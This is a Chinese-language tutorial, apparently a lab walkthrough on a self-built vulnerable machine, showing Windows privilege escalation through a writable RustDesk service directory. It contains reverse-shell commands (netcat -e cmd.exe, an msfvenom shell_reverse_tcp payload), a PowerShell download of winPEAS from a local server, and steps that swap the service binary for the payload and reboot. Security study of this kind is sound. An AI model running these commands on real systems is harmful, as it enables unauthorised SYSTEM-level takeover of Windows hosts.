基于服务目录写入的权限
在利用该服务之前,我们将自己创建易受攻击的机器并执行利用。
让我们开始吧
安装任何远程桌面应用程序,我们将安装“RustDesk”应用程序,运行该应用程序一次并关闭它。
让我们检查是否有任何正常的用户帐户
$net user
然后检查“测试”用户是否属于任何管理组。“测试”用户不应该是管理组的一部分。
$net user test
向您想要执行权限提升的用户授予权限,在这里我们将授予“测试”用户权限。
Right Click on RustDesk folder → Security → Edit → Add → Advance → Find Now → Select "test" user
授予“测试”用户全部权限,现在“测试”用户具有服务目录的写权限。
现在设置部分已经完成。
初始访问
使用“测试”用户打开命令提示符。
在您的机器中找到 Netcat 可执行文件。
让我们使用 netcat 抛出一个 shell。
假设我们利用了一项服务并获得了初始 shell
$nc.exe -e cmd.exe <ip_address> <port_number>
让我们执行窗口特权升级攻击
(基于权限的服务目录写入)
成功获取初始shell
现在问题来了,当您有了初始 shell 时,您将在 Windows 操作系统中做什么。
第一件事就是毫不犹豫地上传winpeas 。
启动一个python服务器,并在windows系统中下载winpeas。
$powershell -c wget http://192.168.29.219:8001/winPEASx64.exe -OutFile win.exe
现在运行系统中下载的winpeas ie。
这里我们感兴趣的是“已安装的应用程序 [All Access]”
AUTO_START — 系统启动/重启后服务也将重新启动。
BINARY_PATH_GROP — 服务可执行路径。
SERVICE_START_NAME 是 LocalSystem,表示服务以最高权限运行。
这里我们无法启动/停止该服务。
但是我们可以在服务可执行目录中写入。
那么,让我们从“msfvenom”生成一个有效载荷。
$msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.29.219 lport=5000 -f exe > shell.exe
我们将把上述有效负载写入 RustDesk 可执行文件。
现在的问题是,我们如何启动该服务?
我们尝试了与之前的漏洞类似的方法来重新启动服务,但我们的访问被拒绝。
https://medium.com/@anandnikhil33/windows-privilege-escalation-8214ceaf4db8
我们注意到服务处于AUTO_START模式
让我们检查一下我们是否有权重启系统
在下面的 poc“SeSutdownPrivilege”中显示已禁用,但它默认是启用的,所以请忽略它。
导航到“RustDesk”可执行路径。
我们将上述有效负载下载到 RustDesk 可执行目录。
每当任何服务处于运行状态,并且其可执行文件正在使用时,如果您尝试写入任何内容,那么它会提示“该进程无法访问该文件,因为该文件正在被另一个进程使用”。
现在我们将使用“重命名”,我们已经重命名了我们的可执行文件。
请注意,现在我们没有任何名为“rustdesk.exe”的文件
将 shell.exe 复制为 ruskdesk.exe 的名称,如果有人再次使用该文件,我们将获得反向 shell。
这是我们在基于权限的服务目录写入中必须遵循的方法
我们重命名了正在运行的服务可执行文件,并在上面写入我们的文件
现在“Rustdesk”官方路径就是我们的恶意可执行文件
如何利用这一点?
我们必须重启系统
通过使用反向 shell 负载替换服务可执行文件并重新启动服务,成功获取 shell。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里